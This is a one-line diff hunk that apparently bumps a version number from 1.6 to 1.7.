@@ -1,2 +1,2 @@
-1.6
+1.7